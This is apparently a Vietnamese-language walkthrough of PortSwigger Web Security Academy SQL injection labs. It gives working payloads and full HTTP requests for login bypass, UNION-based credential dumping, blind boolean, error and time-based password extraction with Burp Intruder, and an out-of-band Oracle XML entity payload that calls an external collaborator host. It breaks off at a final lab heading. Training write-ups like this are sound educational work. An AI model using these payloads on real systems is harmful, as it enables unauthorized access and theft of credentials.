[PortSwigger Lab] - Sql Injection
Solution of SQLi on PortSwigger Lab
Introduction
What is SQL Injection(SQLi)?
SQL Injection (SQLi) là một dạng tấn công bảo mật trong đó kẻ tấn công chèn (inject) mã SQL độc hại vào một truy vấn cơ sở dữ liệu thông qua các đầu vào không được kiểm soát (chẳng hạn như form đăng nhập, URL, cookie…). Mục tiêu là can thiệp vào truy vấn SQL gốc mà ứng dụng web thực hiện, từ đó có thể:
- Xem dữ liệu mà bình thường không được phép truy cập (vd: thông tin người dùng, mật khẩu đã mã hóa).
- Thay đổi dữ liệu (vd: cập nhật thông tin người dùng, xóa dữ liệu).
- Thực thi các lệnh quản trị cơ sở dữ liệu (vd: DROP TABLE).
- Trong trường hợp nặng hơn, có thể chiếm quyền điều khiển server.
Type of SQL Injection(SQLi)?
Type | Description |
---|---|
Classic (In-band) | Kẻ tấn công thấy ngay kết quả của truy vấn bị chèn SQL, thường dùng ' OR '1'='1 để bypass. |
Tautology-based | Chèn biểu thức luôn đúng vào câu lệnh WHERE để qua mặt kiểm tra xác thực. Ví dụ: admin' -- |
Union-based | Dùng UNION để nối thêm kết quả từ truy vấn khác, thường để đọc dữ liệu bảng nhạy cảm. |
Boolean-based Blind | Dựa vào phản hồi đúng/sai từ server để suy đoán thông tin. Ví dụ: ' AND 1=1 -- |
Time-based Blind | Sử dụng hàm gây trễ như SLEEP() để xác định kết quả thông qua thời gian phản hồi. |
Error-based | Khai thác lỗi trả về để lấy thông tin cấu trúc cơ sở dữ liệu. |
Out-of-Band (OOB) | Không nhận phản hồi trực tiếp, thay vào đó gửi dữ liệu ra ngoài (DNS, HTTP). |
Stacked Queries | Chạy nhiều truy vấn trong một lần, ví dụ: 1'; DROP TABLE users -- |
Second-order | Dữ liệu độc hại được lưu vào DB và thực thi sau ở một vị trí khác trong ứng dụng. |
Solve SQL Injection Labs
Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
Mục tiêu: Thực hiện một cuộc tấn công tiêm SQL khiến ứng dụng hiển thị một hoặc nhiều sản phẩm chưa phát hành.
Phòng thí nghiệm này chứa lỗ hổng SQL trong bộ lọc danh mục sản phẩm, khi người dùng chọn một danh mục, ứng dụng sẽ thực hiện truy vấn SQL như sau:
1
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
Payload:
1
' OR 1=1 --
Câu truy vấn sẽ được thay thế thành:
1
SELECT * FROM products WHERE category = '' OR 1=1 --' AND released = 1
Request:
1
2
GET /filter?category='+OR+1%3d1+-- HTTP/2
Host: 0aa400cc04b07ef3818389f900dd00df.web-security-academy.net
Lab: SQL injection vulnerability allowing login bypass
Mục tiêu: Thực hiện một cuộc tấn công tiêm SQL đăng nhập vào ứng dụng với tư cách là
administrator
.
Phòng thí nghiệm này chứa lỗ hổng tiêm SQL trong chức năng đăng nhập, ứng dụng sẽ thực hiện truy vấn SQL như sau:
1
SELECT * FROM users WHERE username = 'usenname' AND password = 'password'
Payload:
1
administrator'--
Câu truy vấn sẽ được thay thế thành:
1
SELECT * FROM users WHERE username = 'administrator'--' AND password = 'password'
Request:
1
2
3
4
POST /login HTTP/2
Host: 0aca001104f9e33981f77a9d001f003c.web-security-academy.net
csrf=FeKN7j0LMwFrA9s7ph9bXzk0ZcoxiAIZ&username=administrator%27+--&password=abc
Lab: SQL injection attack, querying the database type and version on Oracle
Mục tiêu: Hiển thị version của
database
.
Phòng thí nghiệm này chứa lỗ hổng SQL trong bộ lọc danh mục sản phẩm, khi người dùng chọn một danh mục, ứng dụng sẽ thực hiện truy vấn SQL như sau:
1
SELECT field1, field2, ..., fieldn FROM products WHERE category = 'category_name' ...
Specify the number of columns
Trên cơ sở dữ liệu Oracle, mỗi câu lệnh SELECT bắt buộc phải có mệnh đề FROM, tức là phải lấy dữ liệu từ một bảng nào đó. Điều này khác với một số hệ quản trị cơ sở dữ liệu khác như MySQL, nơi bạn có thể viết:
1
SELECT 'abc';
Trong Oracle, cần sử dụng bảng dual để truy vấn không bị lỗi.
Payload:
1
' UNION SELECT 'abc', 'def' from dual--
Câu truy vấn sẽ được thay thế thành:
1
SELECT field1, field2, ..., fieldn FROM products WHERE category = '' UNION SELECT 'abc', 'def' from dual--' ...
Nếu không trả về lỗi tức SELECT đầu tiên chỉ có 2 trường field1 và field2. Vì khi sử dụng UNION thì số trường của nó phải tương ứng với số trường của SELECT đầu tiên.
Request:
1
2
GET /filter?category='+UNION+SELECT+'abc',+'def'+FROM+dual-- HTTP/2
Host: 0aa100c804bdaaca80461cd000ac0034.web-security-academy.net
Determine the Database Version
Payload:
1
' UNION SELECT 'abc', banner from v$version--
Câu truy vấn sẽ được thay thế thành:
1
SELECT field1, field2 FROM products WHERE category = '' UNION SELECT 'abc', banner from v$version--' ...
Request:
1
2
GET /filter?category='+UNION+SELECT+'abc',+banner+FROM+v$version-- HTTP/2
Host: 0aa100c804bdaaca80461cd000ac0034.web-security-academy.net
Lab: SQL injection attack, querying the database type and version on MySQL and Microsoft
Mục tiêu: Hiển thị version của
database
.
Phòng thí nghiệm này chứa lỗ hổng SQL trong bộ lọc danh mục sản phẩm, khi người dùng chọn một danh mục, ứng dụng sẽ thực hiện truy vấn SQL như sau:
1
SELECT field1, field2, ..., fieldn FROM products WHERE category = 'category_name' ...
Specify the number of columns
Cũng như lab vừa rỗi nhưng MySQL và Microsoft không cần FROM cho SELECT, không sử dụng được comment --
tại lab này, mà phải sử dụng #
.
Payload:
1
' UNION SELECT 'abc', 'def'#
Câu truy vấn sẽ được thay thế thành:
1
SELECT field1, field2, ..., fieldn FROM products WHERE category = '' UNION SELECT 'abc', 'def'#' ...
Request:
1
2
GET /filter?category='+UNION+SELECT+'abc','def'%23 HTTP/2
Host: 0a31003a04f410a880ac87d8001a0088.web-security-academy.net
Determine the Database Version
MySQL và Microsoft sử dụng chung lệnh SELECT @@version
để lấy Version.
Payload:
1
' UNION SELECT 'abc', @@version#
Câu truy vấn sẽ được thay thế thành:
1
SELECT field1, field2 fieldn FROM products WHERE category = '' UNION SELECT 'abc', @@version#' ...
Request:
1
2
GET /filter?category='+UNION+SELECT+'abc',@@version%23 HTTP/2
Host: 0a31003a04f410a880ac87d8001a0088.web-security-academy.net
Result:
Lab: SQL injection attack, listing the database contents on non-Oracle databases
Mục tiêu: Đăng nhập với vai trò
administrator
.
Phòng thí nghiệm này chứa lỗ hổng SQL trong bộ lọc danh mục sản phẩm, khi người dùng chọn một danh mục, ứng dụng sẽ thực hiện truy vấn SQL như sau:
1
SELECT field1, field2, ..., fieldn FROM products WHERE category = 'category_name' ...
Ứng dụng có chức năng đăng nhập và cơ sở dữ liệu chứa một bảng lưu trữ tên người dùng và mật khẩu. Bạn cần xác định tên của bảng này và các cột mà nó chứa, sau đó truy xuất nội dung của bảng để lấy tên người dùng và mật khẩu của tất cả người dùng.
Specify the number of columns
Sử dụng tương tự các cách trên ta được số lượng cột trả về là 2
Payload:
1
' UNION SELECT 'abc', 'def'#
Câu truy vấn sẽ được thay thế thành:
1
SELECT field1, field2, ..., fieldn FROM products WHERE category = '' UNION SELECT 'abc', 'def'--' ...
Request:
1
2
GET /filter?category='+UNION+SELECT+'abc','def'-- HTTP/2
Host: 0a31003a04f410a880ac87d8001a0088.web-security-academy.net
Get all table name
Xác định tên của bảng chứa username
và password
Payload:
1
' UNION SELECT 'abc', table_name FROM information_schema.tables--
Câu truy vấn sẽ được thay thế thành:
1
SELECT field1, field2 FROM products WHERE category = '' UNION SELECT 'abc', table_name FROM information_schema.tables--' ...
Request:
1
2
GET /filter?category='+UNION+SELECT+NULL,'table_name'+FROM+information_schema.tables-- HTTP/2
Host: 0a31003a04f410a880ac87d8001a0088.web-security-academy.net
Get all collumn name
Cần xác định tên của trường chứa username
và password
để để lấy thông tin tài khoản administrator
.
Payload:
1
' UNION SELECT NULL,column_name FROM information_schema.columns WHERE table_name='users_bmlccj'--
Câu truy vấn sẽ được thay thế thành:
1
SELECT field1, field2 FROM products WHERE category = '' UNION SELECT NULL,column_name FROM information_schema.columns WHERE table_name='users_bmlccj'--' ...
Request:
1
2
GET /filter?category='+UNION+SELECT+NULL,column_name+FROM+information_schema.columns+WHERE+table_name='users_bmlccj'-- HTTP/2
Host: 0a31003a04f410a880ac87d8001a0088.web-security-academy.net
Get administrator’s password
Payload:
1
' UNION SELECT username_plivox, password_jffxkk FROM users_bmlccj--
Câu truy vấn sẽ được thay thế thành:
1
SELECT field1, field2 FROM products WHERE category = '' UNION SELECT username_plivox, password_jffxkk FROM users_bmlccj--' ...
Hoàn thành lab bằng cách đăng nhập bằng tài khoản administrator
.
Lab: SQL injection attack, listing the database contents on Oracle
Mục tiêu: Đăng nhập với vai trò
administrator
.
Phòng thí nghiệm này chứa lỗ hổng SQL trong bộ lọc danh mục sản phẩm, khi người dùng chọn một danh mục, ứng dụng sẽ thực hiện truy vấn SQL như sau:
1
SELECT field1, field2, ..., fieldn FROM products WHERE category = 'category_name' ...
Thực hiện tương tự bài lab trên nhưng sử dụng các cú pháp của Oracle.
Specify the number of columns
Tương tự nhưng có FROM dual phía sau, ta xác định được 2 cột trả về.
Payload:
1
' UNION SELECT 'abc', 'def' FROM dual--
Câu truy vấn sẽ được thay thế thành:
1
SELECT field1, field2, ..., fieldn FROM products WHERE category = '' UNION SELECT 'abc', 'def' FROM dual--' ...
Request:
1
2
GET /filter?category='+UNION+SELECT+'abc','def'+FROM+dual-- HTTP/2
Host: 0a31003a04f410a880ac87d8001a0088.web-security-academy.net
Get all table name
Xác định tên của bảng chứa username
và password
Payload:
1
' UNION SELECT NULL, table_name FROM all_tables--
Câu truy vấn sẽ được thay thế thành:
1
SELECT field1, field2 FROM products WHERE category = '' UNION SELECT NULL, table_name FROM all_tables--' ...
Request:
1
2
GET /filter?category='+UNION+SELECT+NULL,'table_name'+FROM+all_tables-- HTTP/2
Host: 0a31003a04f410a880ac87d8001a0088.web-security-academy.net
Get all collumn name
Cần xác định tên của trường chứa username
và password
để để lấy thông tin tài khoản administrator
.
Payload:
1
' UNION SELECT NULL,column_name FROM all_tab_columns WHERE table_name='USERS_RNVYLX'--
Câu truy vấn sẽ được thay thế thành:
1
SELECT field1, field2 FROM products WHERE category = '' UNION SELECT NULL,column_name FROM all_tab_columns WHERE table_name='USERS_RNVYLX'--' ...
Request:
1
2
GET /filter?category='+UNION+SELECT+NULL,column_name+FROM+all_tab_columns+WHERE+table_name='USERS_RNVYLX'-- HTTP/2
Host: 0a31003a04f410a880ac87d8001a0088.web-security-academy.net
Get administrator’s password
Payload:
1
' UNION SELECT USERNAME_LXRDRN, PASSWORD_ANINSL FROM USERS_RNVYLX--
Câu truy vấn sẽ được thay thế thành:
1
SELECT field1, field2 FROM products WHERE category = '' UNION SELECT USERNAME_LXRDRN, PASSWORD_ANINSL FROM USERS_RNVYLX--' ...
Hoàn thành lab bằng cách đăng nhập bằng tài khoản administrator
.
Lab: SQL injection UNION attack, determining the number of columns returned by the query
Mục tiêu: Tìm số lượng cột trả về.
Phòng thí nghiệm này chứa lỗ hổng SQL trong bộ lọc danh mục sản phẩm, khi người dùng chọn một danh mục, ứng dụng sẽ thực hiện truy vấn SQL như sau:
1
SELECT field1, field2, ..., fieldn FROM products WHERE category = 'category_name' ...
Payload:
1
' UNION SELECT NULL,NULL,NULL--
Tăng hoặc giảm NULL để có thể tìm được số lượng cột của select ban đầu, vì khi sử dụng UNION sau SELECT phải đảm bảo số trường phải bằng nhau.
Câu truy vấn sẽ được thay thế thành:
1
SELECT field1, field2, field3 FROM products WHERE category = '' UNION SELECT NULL,NULL,NULL--' ...
Request:
1
2
GET /filter?category='+UNION+SELECT+NULL,NULL,NULL-- HTTP/2
Host: 0ac500110304e078827f2e7e0016009c.web-security-academy.net
Nếu server không trả về lỗi là đã thành công!
Lab: SQL injection UNION attack, finding a column containing text
Mục tiêu: Tìm số lượng cột và cột nào chứa dữ liệu dạng string.
Phòng thí nghiệm này chứa lỗ hổng SQL trong bộ lọc danh mục sản phẩm, khi người dùng chọn một danh mục, ứng dụng sẽ thực hiện truy vấn SQL như sau:
1
SELECT field1, field2, ..., fieldn FROM products WHERE category = 'category_name' ...
Check number of column
Tương tự như cách làm ở trên
Check column contain string
Sau khi xác định được số lượng cột, thay đổi từng NULL bằng 1 chuỗi để kiểm tra xem trường đó chứa chuỗi không.
Payload:
1
' UNION SELECT NULL,'abc',NULL--
Câu truy vấn sẽ được thay thế thành:
1
SELECT field1, field2, field3 FROM products WHERE category = '' UNION SELECT NULL,'abc',NULL--' ...
Request:
1
2
GET /filter?category='+UNION+SELECT+NULL,'abc',NULL-- HTTP/2
Host: 0aac00f304cd312981790cd700d50010.web-security-academy.net
Lab: SQL injection UNION attack, retrieving data from other tables
Mục tiêu: đăng nhập với tư cách
administrator
.
Phòng thí nghiệm này chứa lỗ hổng SQL trong bộ lọc danh mục sản phẩm, khi người dùng chọn một danh mục, ứng dụng sẽ thực hiện truy vấn SQL như sau:
1
SELECT field1, field2, ..., fieldn FROM products WHERE category = 'category_name' ...
Cơ sở dữ liệu chứa một bảng khác được gọi là users
, với các cột được gọi là username
và password
. Thực hiện một cuộc tấn công UNION SQL Injection truy xuất tất cả các username
và password
và sử dụng thông tin để đăng nhập với tư cách là administrator
.
Check number of column
Tương tự như cách làm ở trên
Check data of username and password field
Sau khi xác định được số cột, sử dụng UNION để hiển thị dât của username
và password
. Lấy thông tin đăng nhập của administrator
và đăng nhập.
Payload:
1
' UNION SELECT username,password FROM users--
Câu truy vấn sẽ được thay thế thành:
1
SELECT field1, field2 FROM products WHERE category = '' UNION SELECT username,password FROM users--' ...
Request:
1
2
GET /filter?category='+UNION+SELECT+username,password+FROM+users-- HTTP/2
Host: 0a5000b204d472c880cdd01700d80031.web-security-academy.net
Lab: SQL injection UNION attack, retrieving multiple values in a single column
Mục tiêu: đăng nhập với tư cách
administrator
.
Phòng thí nghiệm này chứa lỗ hổng SQL trong bộ lọc danh mục sản phẩm, khi người dùng chọn một danh mục, ứng dụng sẽ thực hiện truy vấn SQL như sau:
1
SELECT field1, field2, ..., fieldn FROM products WHERE category = 'category_name' ...
Cơ sở dữ liệu chứa một bảng khác được gọi là users
, với các cột được gọi là username
và password
. Thực hiện một cuộc tấn công UNION SQL Injection truy xuất tất cả các username
và password
và sử dụng thông tin để đăng nhập với tư cách là administrator
.
Check number of column && Check column contain string
Cũng thự hiện tương tự 2 lab trên, nhưng ở đây chỉ có 1 trường chứa kiểu string
. Vì thế chỉ có thể hiển thị nội dung của 1 trương username
hoặc password
.
Ý tưởng: Gộp
username
vàpassword
vào chung 1 trường.
Payload:
1
' UNION SELECT NULL,CONCAT(username,||,password) FROM users--
Ta sử dụng hàm CONCAT() để gộp nội dung các cột lại với nhau. Nối username
và password
, dùng ||
để tách biệt nó ra cho dễ quan sát, dữ liệu hiển thị ở dạng wiener||wiener_password
Câu truy vấn sẽ được thay thế thành:
1
SELECT field1, field2 FROM products WHERE category = '' UNION SELECT NULL,CONCAT(username,||,password) FROM users--' ...
Request:
1
2
GET /filter?category='+UNION+SELECT+NULL,CONCAT(username,'||',password)+FROM+users-- HTTP/2
Host: 0a1400560347179d818bacde006400a6.web-security-academy.net
Lấy thông tin đăng nhập của administrator
và đăng nhập.
Lab: Blind SQL injection with conditional responses
Mục tiêu: đăng nhập với tư cách
administrator
.
Phòng thí nghiệm này chứa lỗ hổng SQL mù. Ứng dụng sử dụng cookie
để phân tích và thực hiện truy vấn SQL chứa giá trị của cookie
đã gửi. Kết quả của truy vấn SQL không được trả về và không có thông báo lỗi nào được hiển thị. Nhưng ứng dụng bao gồm một tin nhắn Welcome back!
trong trang nếu truy vấn trả về bất kỳ hàng nào.
Cơ sở dữ liệu chứa một bảng khác được gọi là users
, với các cột được gọi là username
và password
. Bạn cần khai thác lỗ hổng tiêm SQL mù để tìm hiểu mật khẩu của administrator
.
Cần chọn request
có cookie
gửi đến Repeater.
Check condition
Payload:
1
abc' OR 1=1--
Request:
1
2
3
GET / HTTP/2
Host: 0a7f00b9030be72980a6369400ba0004.web-security-academy.net
Cookie: TrackingId=abc' OR 1=1--; session=B77245LzAYEC6MPPFqWG09RgmmJ34qwi
Ứng dụng sẽ kiểm tra TrackingId='abc'
có đúng không, nếu không đúng sẽ kiểm tra điều kiện 1=1
(luôn đúng). Nếu page có Welcome back!
là chính xác, có thể thay 1=2
để kiểm tra, sẽ không có Welcome back!
xuất hiện.
Ý tưởng: Ta đã biết
password
cần tìm là củauser
cóusername
làadministrator
, nên chỉ cần xác định độ dài củapassword
rồi tìmpassword
từ vị trí đầu đến vị trí cuỗi cùng của nó. Ta sử dụng Burp Intruder để tự động quá trình tìmpassword
.
Check administrator’s password length
Request:
1
2
3
GET / HTTP/2
Host: 0a7f00b9030be72980a6369400ba0004.web-security-academy.net
Cookie: TrackingId=abc' OR (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a'--; session=B77245LzAYEC6MPPFqWG09RgmmJ34qwi
Điều kiện TrackingId='abc'
là sai nên truy vấn sau OR
luôn được thực hiện. Với truy vấn dưới đây thì nó luôn luôn đúng, nó sẽ trả về 'a'='a'
1
(SELECT 'a' FROM users WHERE username='administrator')='a'
Nên ta có thể thêm toán tử AND
để kiểm tra độ dài password
bằng hàm LENGTH()
Sử dụng Burp Intruder để tự động tìm độ dài password
1
2
3
GET / HTTP/2
Host: 0a7f00b9030be72980a6369400ba0004.web-security-academy.net
Cookie: TrackingId=abc' OR (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password) > $1$ )='a'--; session=B77245LzAYEC6MPPFqWG09RgmmJ34qwi
Add
ở vị trí số 1- Payload > Payload type > Numbers
- Number range: From 1 To 20, Step 1
- Settings > Grep-Match: Clear and Add
Welcome back
- Start attack
Kiểm tra xem vị trí cuối cùng có chữ Welcome back
thì đó là độ dài của password
, ở đây tôi tìm được 19.
Check administrator’s password
Request:
1
2
3
GET / HTTP/2
Host: 0a7f00b9030be72980a6369400ba0004.web-security-academy.net
Cookie: TrackingId=abc' OR (SELECT 'a' FROM users WHERE username='administrator' AND SUBSTRING(password, $1$, 1) = '' )='$a$'--; session=B77245LzAYEC6MPPFqWG09RgmmJ34qwi
Sử dụng hàm SUBSTRING()
để lấy kí tự tại vị trí cần lấy: SUBSTRING(password, position, length)
- Chọn chế độ
attack
tổ hợp giữa vị trí1
vàa
:Cluster bomb attack
- Payload > Payload position
- 1 - 1: chọn
type
làNumbers
từ 1 đến 19 - 2 - a: chọn
type
làBrute forcer
vớiMin length
vàMax Length
là 1
- 1 - 1: chọn
- Thêm
Grep-Match
như trên - Start attack
Lấy kết quả, nối chúng lại theo đúng vị trí. Đăng nhập với tư cách administrator
.
Blind SQL injection with conditional errors
Mục tiêu: đăng nhập với tư cách
administrator
.
Điều kiện như câu ở trên nhưng ứng dụng không trả về Welcome back
mà trả về Internal Server Error
.
Check type error
Ở đây không thể sử dụng payload abc' OR 1=1
để kiểm tra, vì trong trường hợp này server chỉ trả về lỗi cú pháp, không trả về lỗi truy vấn. Bạn có thể thử bằng payload abc' OR 1=2
, thực sự không có lỗi. Sử dụng payload abc'
sẽ thấy server trả về lỗi, nhưng nếu là abc''
thì kết thúc lỗi, truy vấn sẽ trở thành như sau:
1
2
SELECT ... FROM cookies WHERE TrackingId='abc'' # abc'
SELECT ... FROM cookies WHERE TrackingId='abc''' # abc''
Ý tưởng khai thác cũng như ở lab trên nhưng sử dụng tín hiệu là
error
trả về thay vềWelcome back
.
Check type database
Payload:
1
abc'||(SELECT '' FROM dual)||'
Chèn vào câu lệnh SQL có phép nối chuỗi ||
, sử dụng FROM dual
để biết nó có phải Oracle
database không, ở đây là Oracle
.
Check users table is exist
Payload:
1
abc'||(SELECT '' FROM users WHERE ROWNUM=1)||'
- Nếu không lỗi, có thể bảng users tồn tại.
- ROWNUM = 1: Giới hạn để chỉ lấy 1 dòng (tránh lỗi khi
concat
quá nhiều dòng →Oracle
sẽ lỗi).
Get administrator’s password length
Payload:
1
xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
Sử dụng truy vấn có điều kiện trong Oracle:
- Nếu
(1=1)
thìSELECT TO_CHAR(1/0)
hoặcSELECT '' FROM dual
- Điều kiện
(1=1)
đúng nên sẽSELECT TO_CHAR(1/0)
, xuất hiện lỗi chia cho 0 nên server xuất ra lỗi.
Payload:
1
xyz'||(SELECT CASE WHEN LENGTH(password) > 1 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
- Thay
(1=1)
bằngLENGTH(password) > 1
- Thay
dual
bằngusers
vì ta cần tìm dữ liệu trong bảngusers
- Không cần sử dụng
ROWNUM
vì đã giới hạnrecord
bằngusername='administrator'
- Sử dụng Burp Intruder để tự động hóa quá trình tấn công, tăng dần
number
từ 1 tới 30 - Thêm
Internal Server Error
vàoGrep-Match
- Vị trí cuỗi cùng xuất hiện là độ dài của
password
Get administrator’s password
Tương tự như lab trên ta check điều kiện ở từng vị trí của password Payload:
1
xyz'||(SELECT CASE WHEN SUBSTR(password,$1$,1)='$a$' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
- Chọn chế độ
Cluster bomb attack
để tấn công tổ hợp - Vị trí
1 - 1
chọnNumbers
: From 1 - To password length - Step 1 - Vị trí
1 - a
chọnBrute forcer
: Min length = Max length = 1 - Thêm
Grep-Match
như trên. - Start attack
- Lọc kết quả và nối theo đúng thứ tự
Lab: Visible error-based SQL injection
Mục tiêu: đăng nhập với tư cách
administrator
.
Điều kiện như 2 câu trên nhưng xuất hiện lỗi có thể thấy được.
Check type error
Payload:
1
'
Khi thêm payload này, ta thấy lỗi của SQL
1
Unterminated string literal started at position 36 in SQL SELECT * FROM tracking WHERE id = '''. Expected char
Ta sử dụng payload ' OR 1=1--
, lỗi đã mất
Ý tưởng: giống Lab: Blind SQL injection with conditional responses nhưng sử dụng
error
làm tín hiệu thay choWelcome back
.
Exploit
Payload:
1
' OR (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a'--
Sẽ xảy ra lỗi vượt quá số lượng kí tự:
1
Unterminated string literal started at position 95 in SQL SELECT * FROM tracking WHERE id = '' OR (SELECT 'a' FROM users WHERE username='administrator' A'. Expected char
Ý tưởng: Ép kiểu để xảy ra lỗi, quẳng data cần tim ra error.
Payload:
1
' OR 1=CAST((SELECT username FROM users LIMIT 1) AS int)--
- Sử dụng
CAST(value AS type)
để ép kiểu username
ở dạng chuỗi (eg:'administrator'
) nên ép kiểu sangint
sẽ bị lỗi, làm quẳng lỗi vớiusername
LIMIT 1
đẻ giới hạn số lượngrow
thành 1 để không bị lỗi khimerge
Kết quả:
1
ERROR: invalid input syntax for type integer: "administrator"
Ta thấy được tên username
là administrator
Payload:
1
' OR 1=CAST((SELECT password FROM users LIMIT 1) AS int)--
Lấy password
ở row
đầu tiên tương ứng với administrator
Lỗi được hiển thị
1
ERROR: invalid input syntax for type integer: "iqkju3azwuccb85jbwxx"
Request:
1
2
3
GET / HTTP/2
Host: 0a1f00ff0326b398805ac15d005300b5.web-security-academy.net
Cookie: TrackingId=' OR 1=CAST((SELECT password FROM users LIMIT 1) AS int)-- ; session=ALCo58Xt5yYwqhazKher42ZSZN2kbDOn
Lab: Blind SQL injection with time delays
Mục tiêu: Khai thác lỗ hổng SQL để gây ra độ trễ 10 giây.
Phòng thí nghiệm này chứa lỗ hổng SQL mù mù. Ứng dụng sử dụng cookie theo dõi để phân tích và thực hiện truy vấn SQL chứa giá trị của cookie đã gửi. Kết quả của truy vấn SQL không được trả về và ứng dụng không trả lời bất kỳ khác nhau dựa trên việc truy vấn có trả lại bất kỳ hàng nào hay gây ra lỗi hay không. Tuy nhiên, vì truy vấn được thực thi đồng bộ, có thể kích hoạt sự chậm trễ thời gian có điều kiện để suy ra thông tin.
Payload:
1
'||pg_sleep(10)--
- Ở đây chưa biết được loại
database
nào nền cần thử tất cả các lệnhsleep
- Sử dụng phép nối chuỗi
||
kết hợp với lệnhpg_sleep(10)
đằng sau - Kiểu khai thác này dựa trên thời gian phản hồi khi không có
signal
nào khác được trả lại
Request:
1
2
3
GET / HTTP/2
Host: 0a5200a90433971c82418dc800c000e0.web-security-academy.net
Cookie: TrackingId='||pg_sleep(10)-- ; session=u7jmFxowLjpN0iXoBX79LbnQokeND6nF
Lab: Blind SQL injection with time delays and information retrieval
Mục tiêu: đăng nhập với tư cách
administrator
.
Phòng thí nghiệm này chứa lỗ hổng SQL mù. Ứng dụng sử dụng cookie
theo dõi để phân tích và thực hiện truy vấn SQL chứa giá trị của cookie
đã gửi.
Cơ sở dữ liệu chứa một bảng khác được gọi là users, với các cột được gọi là username và password. Bạn cần khai thác lỗ hổng tiêm SQL mù để tìm hiểu password của administrator
.
Sử dụng kỹ thuật Time base SQLi để khai thác.
Check database type
Tương tự lab trên ta kiểm tra loại database bằng payload
:
1
'||pg_sleep(5)--
Lấy thời gian phản hồi làm tín hiệu, ta sử dụng payload sau:
1
abc';SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--
- Kết hợp với câu lệnh điều kiện để điều khiển tín hiệu sleep
- Thay (1=1) bằng điều kiện cần để lấy thông tin
- Sử dụng
;
để thực hiện câu lệnh tiếp theo
Request:
1
2
3
GET / HTTP/2
Host: 0a9600ad03da44f480313ffe00f700af.web-security-academy.net
Cookie: TrackingId=abc'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(5)+ELSE+pg_sleep(0)+END--; session=pursS6rTXgKsG4yveIRih09rHeAYPAyg
Check administrator is exist
Payload:
1
abc';SELECT CASE WHEN (username='administrator') THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users--
Kiểm tra điều kiện username='administrator'
trong bảng users
, nếu có pg_sleep(5)
, không có pg_sleep(0)
Request:
1
2
3
GET / HTTP/2
Host: 0a9600ad03da44f480313ffe00f700af.web-security-academy.net
Cookie: TrackingId=abc'%3bSELECT+CASE+WHEN+(username%3d'administrator')+THEN+pg_sleep(5)+ELSE+pg_sleep(0)+END+FROM+users--; session=pursS6rTXgKsG4yveIRih09rHeAYPAyg
Get administrator’s password length
Payload:
1
abc';SELECT CASE WHEN (LENGTH(password) > $1$) THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users WHERE username='administrator'--
Request:
1
2
3
GET / HTTP/2
Host: 0a9600ad03da44f480313ffe00f700af.web-security-academy.net
Cookie: TrackingId=abc'%3bSELECT+CASE+WHEN+(LENGTH(password)+>+$1$)+THEN+pg_sleep(5)+ELSE+pg_sleep(0)+END+FROM+users+WHERE+username%3d'administrator'--; session=pursS6rTXgKsG4yveIRih09rHeAYPAyg
- Sử dụng Burp Intruder
Add
tại vị trí 1- Chọn
Payload type
:Numbers
- From 1 - To 30 - Step 1
- Hàng có
response time
>5s
là độ dài củapassword
cần tìm
Get administrator’s password length
Payload:
1
abc';SELECT CASE WHEN (SUBSTRING(password,$1$,1) = '$a$') THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users WHERE username='administrator'--
Request:
1
2
3
GET / HTTP/2
Host: 0a9600ad03da44f480313ffe00f700af.web-security-academy.net
Cookie: TrackingId=abc'%3bSELECT+CASE+WHEN+(SUBSTRING(password,$1$,1)='$a$')+THEN+pg_sleep(5)+ELSE+pg_sleep(0)+END+FROM+users+WHERE+username%3d'administrator'--; session=pursS6rTXgKsG4yveIRih09rHeAYPAyg
- Sử dụng Burp Intruder
- Chọn chế độ
Cluster bomb attack
- Vị trí
1 - 1
chọnNumbers
từ 1 đến độ dàipassword
tìm được, step 1 - Vị trí
2 - a
chọnBrute forcer
Min length = Max Length = 1 - Start attack, ghép lại password theo thứ tự
Lab: Blind SQL injection with out-of-band interaction
Khai thác lỗ hổng SQL dấn đến
DNS lookup
tới Burp Collaborator
Phòng thí nghiệm này chứa lỗ hổng SQL mù. Ứng dụng sử dụng cookie
theo dõi để phân tích và thực hiện truy vấn SQL chứa giá trị của cookie
đã gửi.
Truy vấn SQL được thực thi không đồng bộ và không có tác dụng đối với phản hồi của ứng dụng. Tuy nhiên, bạn có thể kích hoạt các tương tác ngoài băng tần với một miền bên ngoài.
Payload:
1
2
3
4
5
6
7
8
'||(SELECT EXTRACTVALUE(
xmltype('<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://8bk069g0qvpde4gevf9ggocxyo4fs5gu.oastify.com/">
%remote;
]>'),
'/l'
) FROM dual--
- Không thể sử dụng các kĩ thuật như
Time Base SQLi
, ta cần gửi nó ra 1 kênh bên ngoài. xmltype(...)
: Hàm Oracle để tạo một đối tượng XML từ một chuỗi văn bản.EXTRACTVALUE(xml, xpath)
: Truy vấn giá trị trong XML bằng biểu thức XPath. Ở đây là /l, nhưng giá trị này không quan trọng — mục tiêu chính là kích hoạt parser XML.- Phần XML chứa khai báo DOCTYPE với một entity bên ngoài:
- %remote; là parameter entity – Oracle’s XML parser sẽ fetch nội dung từ URL được khai báo (out-of-band) và chèn nó vào tài liệu XML.
- Điều này kích hoạt request HTTP ra ngoài, giúp attacker kiểm tra xem ứng dụng có phân tích cú pháp DTD và hỗ trợ entity bên ngoài không.
Request:
1
2
3
GET / HTTP/2
Host: 0a3d006904b5428180110885008c007a.web-security-academy.net
Cookie: TrackingId='||(SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://8bk069g0qvpde4gevf9ggocxyo4fs5gu.oastify.com/"> %remote;]>'),'/l') FROM dual)--; session=ZdNfyoJrDkB9gqxoe4jsB8YV7Fjt1WDm
Lab: SQL injection with filter bypass via XML encoding
